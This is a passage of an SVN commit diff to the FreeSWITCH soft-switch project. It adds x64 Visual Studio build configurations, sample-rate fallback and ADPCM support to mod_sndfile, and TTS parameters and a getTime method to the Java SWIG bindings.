+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				IgnoreDefaultLibraryNames="LIBCMTD.LIB;LIBCMT.LIB"
+				GenerateDebugInformation="false"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				LinkTimeCodeGeneration="1"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Property changes: freeswitch/branches/seven/src/mod/formats/mod_sndfile


Name: svn:ignore
   - Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
debug
   + Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/formats/mod_sndfile/mod_sndfile.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/formats/mod_sndfile/mod_sndfile.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/formats/mod_sndfile/mod_sndfile.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -81,6 +84,73 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\win32\libsndfile\&quot;"
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;MOD_EXPORTS"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				AdditionalLibraryDirectories="&quot;..\..\..\..\libs\libsndfile\Win32\$(OutDir)&quot;"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -143,6 +213,72 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\win32\libsndfile\&quot;"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				AdditionalLibraryDirectories="&quot;..\..\..\..\libs\libsndfile\Win32\$(OutDir)&quot;"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/formats/mod_sndfile/mod_sndfile.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/formats/mod_sndfile/mod_sndfile.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/formats/mod_sndfile/mod_sndfile.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * mod_sndfile.c -- Framework Demo Module
@@ -62,8 +62,15 @@
 	char *ext;
 	struct format_map *map = NULL;
 	switch_status_t status = SWITCH_STATUS_SUCCESS;
-	char *alt_path = NULL, *next, *last, *ldup = NULL;
+	char *alt_path = NULL, *last, *ldup = NULL;
 	size_t alt_len = 0;
+	int rates[4] = {8000, 16000, 32000, 48000};
+	int i;
+#ifdef WIN32
+	char ps = '\\';
+#else
+	char ps = '/';
+#endif
 
 	if ((ext = strrchr(path, '.')) == 0) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid Format\n");
@@ -96,7 +103,8 @@
 		context->sfinfo.channels = handle->channels;
 		context->sfinfo.samplerate = handle->samplerate;
 		if (handle->samplerate == 8000 || handle->samplerate == 16000 ||
-			handle->samplerate == 24000 || handle->samplerate == 32000 || handle->samplerate == 48000) {
+			handle->samplerate == 24000 || handle->samplerate == 32000 || handle->samplerate == 48000 ||
+			handle->samplerate == 11025 || handle->samplerate == 22050 || handle->samplerate == 44100) {
 			context->sfinfo.format |= SF_FORMAT_PCM_16;
 		}
 
@@ -135,6 +143,9 @@
 		context->sfinfo.format = SF_FORMAT_RAW | SF_FORMAT_ALAW;
 		context->sfinfo.channels = 1;
 		context->sfinfo.samplerate = 8000;
+	} else if (!strcmp(ext, "adpcm")) {
+		context->sfinfo.format = SF_FORMAT_WAV | SF_FORMAT_IMA_ADPCM;
+		context->sfinfo.samplerate = 8000;
 	}
 
 	if ((mode & SFM_WRITE) && sf_format_check(&context->sfinfo) == 0) {
@@ -146,26 +157,37 @@
 	switch_zmalloc(alt_path, alt_len);
 
 	switch_copy_string(alt_path, path, alt_len);
-	if ((last = strrchr(alt_path, '/'))) {
-		next = ++last;
-		ldup = strdup(last);
-		switch_assert(ldup);
-		switch_snprintf(next, alt_len - (last - alt_path), "%d%s%s", handle->samplerate, SWITCH_PATH_SEPARATOR, ldup);
-		if ((context->handle = sf_open(alt_path, mode, &context->sfinfo))) {
-			path = alt_path;
+
+	/* This block attempts to add the sample rate to the path
+	   if the sample rate is already present in the path it does nothing
+	   and reverts to the original file name.
+	*/
+	if ((last = strrchr(alt_path, ps))) {
+		last++;
+#ifdef WIN32
+		if (strrchr(last, '/')) {
+			last = strrchr(alt_path, '/'); /* do not swallow a forward slash if they are intermixed under windows*/
+			last++;
 		}
-	}
-#ifdef WIN32
-	else if ((last = strrchr(alt_path, '\\'))) {
-		next = ++last;
+#endif
 		ldup = strdup(last);
 		switch_assert(ldup);
-		switch_snprintf(next, alt_len - (last - alt_path), "%d%s%s", handle->samplerate, SWITCH_PATH_SEPARATOR, ldup);
+		switch_snprintf(last, alt_len - (last - alt_path), "%d%s%s", handle->samplerate, SWITCH_PATH_SEPARATOR, ldup);
 		if ((context->handle = sf_open(alt_path, mode, &context->sfinfo))) {
 			path = alt_path;
+		} else {
+			/* Try to find the file at the highest rate possible if we can't find one that matches the exact rate.
+			   If we don't find any, we will default back to the original file name.
+			*/
+			for (i = 3; i >= 0; i--) {
+				switch_snprintf(last, alt_len - (last - alt_path), "%d%s%s", rates[i], SWITCH_PATH_SEPARATOR, ldup);
+				if ((context->handle = sf_open(alt_path, mode, &context->sfinfo))) {
+					path = alt_path;
+					break;
+				}
+			}
 		}
 	}
-#endif
 
 	if (!context->handle) {
 		if ((context->handle = sf_open(path, mode, &context->sfinfo)) == 0) {
@@ -235,6 +257,7 @@
 		*len = (size_t) sf_readf_int(context->handle, (int *) data, inlen);
 	}
 
+	handle->pos += *len;
 	handle->sample_count += *len;
 
 	return *len ? SWITCH_STATUS_SUCCESS : SWITCH_STATUS_FALSE;
@@ -295,7 +318,7 @@
 	char buffer[128];
 	int format, major_count, subtype_count, m, s;
 	int len, x, skip;
-	char *extras[] = { "r8", "r16", "r24", "r32", "gsm", "ul", "al", NULL };
+	char *extras[] = { "r8", "r16", "r24", "r32", "gsm", "ul", "al", "adpcm", NULL };
 	int exlen = (sizeof(extras) / sizeof(extras[0]));
 	buffer[0] = 0;
 

Property changes: freeswitch/branches/seven/src/mod/formats/mod_tone_stream


Name: svn:ignore
   - mod_tone_stream.so
.libs
Makefile
Debug
*.pdb
*.user
Release
debug
   + mod_tone_stream.so
.libs
Makefile
Debug
*.pdb
*.user
Release
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/formats/mod_tone_stream/mod_tone_stream.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/formats/mod_tone_stream/mod_tone_stream.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/formats/mod_tone_stream/mod_tone_stream.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -78,6 +81,70 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -138,6 +205,70 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/formats/mod_tone_stream/mod_tone_stream.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/formats/mod_tone_stream/mod_tone_stream.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/formats/mod_tone_stream/mod_tone_stream.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * mod_tone_stream.c -- Tone Generation Stream

Modified: freeswitch/branches/seven/src/mod/languages/mod_java/mod_java.i (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_java/mod_java.i	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_java/mod_java.i	2009-08-09 18:53:22 UTC (rev 14472)
@@ -7,9 +7,9 @@
 %}
 
 %ignore SwitchToMempool;   
+%newobject EventConsumer::pop;
 
 
-
 // I thought we were using swig because it's easier than the alternatives :-)
 
 %typemap(jtype) jobject dtmfCallback "org.freeswitch.DTMFCallback"

Modified: freeswitch/branches/seven/src/mod/languages/mod_java/src/org/freeswitch/swig/API.java (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_java/src/org/freeswitch/swig/API.java	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_java/src/org/freeswitch/swig/API.java	2009-08-09 18:53:22 UTC (rev 14472)
@@ -45,4 +45,8 @@
     return freeswitchJNI.API_executeString(swigCPtr, this, command);
   }
 
+  public String getTime() {
+    return freeswitchJNI.API_getTime(swigCPtr, this);
+  }
+
 }

Modified: freeswitch/branches/seven/src/mod/languages/mod_java/src/org/freeswitch/swig/EventConsumer.java (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_java/src/org/freeswitch/swig/EventConsumer.java	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_java/src/org/freeswitch/swig/EventConsumer.java	2009-08-09 18:53:22 UTC (rev 14472)
@@ -93,12 +93,12 @@
 
   public Event pop(int block) {
     long cPtr = freeswitchJNI.EventConsumer_pop__SWIG_0(swigCPtr, this, block);
-    return (cPtr == 0) ? null : new Event(cPtr, false);
+    return (cPtr == 0) ? null : new Event(cPtr, true);
   }
 
   public Event pop() {
     long cPtr = freeswitchJNI.EventConsumer_pop__SWIG_1(swigCPtr, this);
-    return (cPtr == 0) ? null : new Event(cPtr, false);
+    return (cPtr == 0) ? null : new Event(cPtr, true);
   }
 
 }

Modified: freeswitch/branches/seven/src/mod/languages/mod_java/src/org/freeswitch/swig/IVRMenu.java (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_java/src/org/freeswitch/swig/IVRMenu.java	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_java/src/org/freeswitch/swig/IVRMenu.java	2009-08-09 18:53:22 UTC (rev 14472)
@@ -33,8 +33,8 @@
     swigCPtr = 0;
   }
 
-  public IVRMenu(IVRMenu main, String name, String greeting_sound, String short_greeting_sound, String invalid_sound, String exit_sound, String confirm_macro, String confirm_key, int confirm_attempts, int inter_timeout, int digit_len, int timeout, int max_failures, int max_timeouts) {
-    this(freeswitchJNI.new_IVRMenu(IVRMenu.getCPtr(main), main, name, greeting_sound, short_greeting_sound, invalid_sound, exit_sound, confirm_macro, confirm_key, confirm_attempts, inter_timeout, digit_len, timeout, max_failures, max_timeouts), true);
+  public IVRMenu(IVRMenu main, String name, String greeting_sound, String short_greeting_sound, String invalid_sound, String exit_sound, String confirm_macro, String confirm_key, String tts_engine, String tts_voice, int confirm_attempts, int inter_timeout, int digit_len, int timeout, int max_failures, int max_timeouts) {
+    this(freeswitchJNI.new_IVRMenu(IVRMenu.getCPtr(main), main, name, greeting_sound, short_greeting_sound, invalid_sound, exit_sound, confirm_macro, confirm_key, tts_engine, tts_voice, confirm_attempts, inter_timeout, digit_len, timeout, max_failures, max_timeouts), true);
   }
 
   public void bindAction(String action, String arg, String bind) {

Copied: freeswitch/branches/seven/src/mod/languages/mod_java/src/org/freeswitch/swig/SWIGTYPE_p_CoreSession.java (from rev 14471, freeswitch/trunk/src/mod/languages/mod_java/src/org/freeswitch/swig/SWIGTYPE_p_CoreSession.java) (0 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_java/src/org/freeswitch/swig/SWIGTYPE_p_CoreSession.java	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/languages/mod_java/src/org/freeswitch/swig/SWIGTYPE_p_CoreSession.java	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,26 @@
+/* ----------------------------------------------------------------------------
+ * This file was automatically generated by SWIG (http://www.swig.org).
+ * Version 1.3.35
+ *
+ * Do not make changes to this file unless you know what you are doing--modify
+ * the SWIG interface file instead.
+ * ----------------------------------------------------------------------------- */
+
+package org.freeswitch.swig;
+
+public class SWIGTYPE_p_CoreSession {
+  private long swigCPtr;
+
+  protected SWIGTYPE_p_CoreSession(long cPtr, boolean futureUse) {
+    swigCPtr = cPtr;
+  }
+
+  protected SWIGTYPE_p_CoreSession() {
+    swigCPtr = 0;
+  }
+
+  protected static long getCPtr(SWIGTYPE_p_CoreSession obj) {
+    return (obj == null) ? 0 : obj.swigCPtr;
+  }
+}
+

Copied: freeswitch/branches/seven/src/mod/languages/mod_java/src/org/freeswitch/swig/SWIGTYPE_p_SWITCH_DECLARE_CLASS.java (from rev 14471, freeswitch/trunk/src/mod/languages/mod_java/src/org/freeswitch/swig/SWIGTYPE_p_SWITCH_DECLARE_CLASS.java) (0 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_java/src/org/freeswitch/swig/SWIGTYPE_p_SWITCH_DECLARE_CLASS.java	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/languages/mod_java/src/org/freeswitch/swig/SWIGTYPE_p_SWITCH_DECLARE_CLASS.java	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,26 @@
+/* ----------------------------------------------------------------------------
+ * This file was automatically generated by SWIG (http://www.swig.org).
+ * Version 1.3.35
+ *
+ * Do not make changes to this file unless you know what you are doing--modify
+ * the SWIG interface file instead.
+ * ----------------------------------------------------------------------------- */
+
+package org.freeswitch.swig;
+
+public class SWIGTYPE_p_SWITCH_DECLARE_CLASS {
+  private long swigCPtr;
+
+  protected SWIGTYPE_p_SWITCH_DECLARE_CLASS(long cPtr, boolean futureUse) {
+    swigCPtr = cPtr;
+  }
+
+  protected SWIGTYPE_p_SWITCH_DECLARE_CLASS() {
+    swigCPtr = 0;
+  }
+
+  protected static long getCPtr(SWIGTYPE_p_SWITCH_DECLARE_CLASS obj) {
+    return (obj == null) ? 0 : obj.swigCPtr;
+  }
+}
+

Modified: freeswitch/branches/seven/src/mod/languages/mod_java/src/org/freeswitch/swig/freeswitchJNI.java (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_java/src/org/freeswitch/swig/freeswitchJNI.java	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_java/src/org/freeswitch/swig/freeswitchJNI.java	2009-08-09 18:53:22 UTC (rev 14472)
@@ -11,7 +11,7 @@
 class freeswitchJNI {
   public final static native void consoleLog(String jarg1, String jarg2);
   public final static native void consoleCleanLog(String jarg1);
-  public final static native long new_IVRMenu(long jarg1, IVRMenu jarg1_, String jarg2, String jarg3, String jarg4, String jarg5, String jarg6, String jarg7, String jarg8, int jarg9, int jarg10, int jarg11, int jarg12, int jarg13, int jarg14);
+  public final static native long new_IVRMenu(long jarg1, IVRMenu jarg1_, String jarg2, String jarg3, String jarg4, String jarg5, String jarg6, String jarg7, String jarg8, String jarg9, String jarg10, int jarg11, int jarg12, int jarg13, int jarg14, int jarg15, int jarg16);
   public final static native void delete_IVRMenu(long jarg1);
   public final static native void IVRMenu_bindAction(long jarg1, IVRMenu jarg1_, String jarg2, String jarg3, String jarg4);
   public final static native void IVRMenu_execute(long jarg1, IVRMenu jarg1_, long jarg2, CoreSession jarg2_, String jarg3);
@@ -19,6 +19,7 @@
   public final static native void delete_API(long jarg1);
   public final static native String API_execute(long jarg1, API jarg1_, String jarg2, String jarg3);
   public final static native String API_executeString(long jarg1, API jarg1_, String jarg2);
+  public final static native String API_getTime(long jarg1, API jarg1_);
   public final static native void input_callback_state_t_function_set(long jarg1, input_callback_state_t jarg1_, long jarg2);
   public final static native long input_callback_state_t_function_get(long jarg1, input_callback_state_t jarg1_);
   public final static native void input_callback_state_t_threadState_set(long jarg1, input_callback_state_t jarg1_, long jarg2);

Modified: freeswitch/branches/seven/src/mod/languages/mod_java/switch_swig_wrap.cpp (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_java/switch_swig_wrap.cpp	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_java/switch_swig_wrap.cpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -244,7 +244,7 @@
 }
 
 
-SWIGEXPORT jlong JNICALL Java_org_freeswitch_swig_freeswitchJNI_new_1IVRMenu(JNIEnv *jenv, jclass jcls, jlong jarg1, jobject jarg1_, jstring jarg2, jstring jarg3, jstring jarg4, jstring jarg5, jstring jarg6, jstring jarg7, jstring jarg8, jint jarg9, jint jarg10, jint jarg11, jint jarg12, jint jarg13, jint jarg14) {
+SWIGEXPORT jlong JNICALL Java_org_freeswitch_swig_freeswitchJNI_new_1IVRMenu(JNIEnv *jenv, jclass jcls, jlong jarg1, jobject jarg1_, jstring jarg2, jstring jarg3, jstring jarg4, jstring jarg5, jstring jarg6, jstring jarg7, jstring jarg8, jstring jarg9, jstring jarg10, jint jarg11, jint jarg12, jint jarg13, jint jarg14, jint jarg15, jint jarg16) {
   jlong jresult = 0 ;
   IVRMenu *arg1 = (IVRMenu *) 0 ;
   char *arg2 = (char *) 0 ;
@@ -254,12 +254,14 @@
   char *arg6 = (char *) 0 ;
   char *arg7 = (char *) 0 ;
   char *arg8 = (char *) 0 ;
-  int arg9 ;
-  int arg10 ;
+  char *arg9 = (char *) 0 ;
+  char *arg10 = (char *) 0 ;
   int arg11 ;
   int arg12 ;
   int arg13 ;
   int arg14 ;
+  int arg15 ;
+  int arg16 ;
   IVRMenu *result = 0 ;
   
   (void)jenv;
@@ -301,13 +303,23 @@
     arg8 = (char *)jenv->GetStringUTFChars(jarg8, 0);
     if (!arg8) return 0;
   }
-  arg9 = (int)jarg9; 
-  arg10 = (int)jarg10; 
+  arg9 = 0;
+  if (jarg9) {
+    arg9 = (char *)jenv->GetStringUTFChars(jarg9, 0);
+    if (!arg9) return 0;
+  }
+  arg10 = 0;
+  if (jarg10) {
+    arg10 = (char *)jenv->GetStringUTFChars(jarg10, 0);
+    if (!arg10) return 0;
+  }
   arg11 = (int)jarg11; 
   arg12 = (int)jarg12; 
   arg13 = (int)jarg13; 
   arg14 = (int)jarg14; 
-  result = (IVRMenu *)new IVRMenu(arg1,(char const *)arg2,(char const *)arg3,(char const *)arg4,(char const *)arg5,(char const *)arg6,(char const *)arg7,(char const *)arg8,arg9,arg10,arg11,arg12,arg13,arg14);
+  arg15 = (int)jarg15; 
+  arg16 = (int)jarg16; 
+  result = (IVRMenu *)new IVRMenu(arg1,(char const *)arg2,(char const *)arg3,(char const *)arg4,(char const *)arg5,(char const *)arg6,(char const *)arg7,(char const *)arg8,(char const *)arg9,(char const *)arg10,arg11,arg12,arg13,arg14,arg15,arg16);
   *(IVRMenu **)&jresult = result; 
   if (arg2) jenv->ReleaseStringUTFChars(jarg2, (const char *)arg2);
   if (arg3) jenv->ReleaseStringUTFChars(jarg3, (const char *)arg3);
@@ -316,6 +328,8 @@
   if (arg6) jenv->ReleaseStringUTFChars(jarg6, (const char *)arg6);
   if (arg7) jenv->ReleaseStringUTFChars(jarg7, (const char *)arg7);
   if (arg8) jenv->ReleaseStringUTFChars(jarg8, (const char *)arg8);
+  if (arg9) jenv->ReleaseStringUTFChars(jarg9, (const char *)arg9);
+  if (arg10) jenv->ReleaseStringUTFChars(jarg10, (const char *)arg10);
   return jresult;
 }
 
@@ -458,6 +472,21 @@
 }
 
 
+SWIGEXPORT jstring JNICALL Java_org_freeswitch_swig_freeswitchJNI_API_1getTime(JNIEnv *jenv, jclass jcls, jlong jarg1, jobject jarg1_) {
+  jstring jresult = 0 ;
+  API *arg1 = (API *) 0 ;
+  char *result = 0 ;
+  
+  (void)jenv;
+  (void)jcls;
+  (void)jarg1_;
+  arg1 = *(API **)&jarg1; 
+  result = (char *)(arg1)->getTime();
+  if(result) jresult = jenv->NewStringUTF((const char *)result);
+  return jresult;
+}
+
+
 SWIGEXPORT void JNICALL Java_org_freeswitch_swig_freeswitchJNI_input_1callback_1state_1t_1function_1set(JNIEnv *jenv, jclass jcls, jlong jarg1, jobject jarg1_, jlong jarg2) {
   input_callback_state_t *arg1 = (input_callback_state_t *) 0 ;
   void *arg2 = (void *) 0 ;
@@ -2906,7 +2935,7 @@
     arg3 = (char *)jenv->GetStringUTFChars(jarg3, 0);
     if (!arg3) return ;
   }
-  (arg1)->execute(arg2,arg3);
+  (arg1)->execute((char const *)arg2,(char const *)arg3);
   if (arg2) jenv->ReleaseStringUTFChars(jarg2, (const char *)arg2);
   if (arg3) jenv->ReleaseStringUTFChars(jarg3, (const char *)arg3);
 }
@@ -2925,7 +2954,7 @@
     arg2 = (char *)jenv->GetStringUTFChars(jarg2, 0);
     if (!arg2) return ;
   }
-  (arg1)->execute(arg2);
+  (arg1)->execute((char const *)arg2);
   if (arg2) jenv->ReleaseStringUTFChars(jarg2, (const char *)arg2);
 }
 

Property changes: freeswitch/branches/seven/src/mod/languages/mod_lua


Name: svn:ignore
   - Debug
*.pdb
*.user
Release
*.so
.libs
debug
mod_lua_wrap.cpp.orig
   + Debug
*.pdb
*.user
Release
*.so
.libs
debug
mod_lua_wrap.cpp.orig
Win32
x64

Modified: freeswitch/branches/seven/src/mod/languages/mod_lua/freeswitch.i (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_lua/freeswitch.i	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_lua/freeswitch.i	2009-08-09 18:53:22 UTC (rev 14472)
@@ -19,13 +19,51 @@
 
 
 %ignore SwitchToMempool;   
+%newobject EventConsumer::pop;
 
 /**
  * tell swig to grok everything defined in these header files and
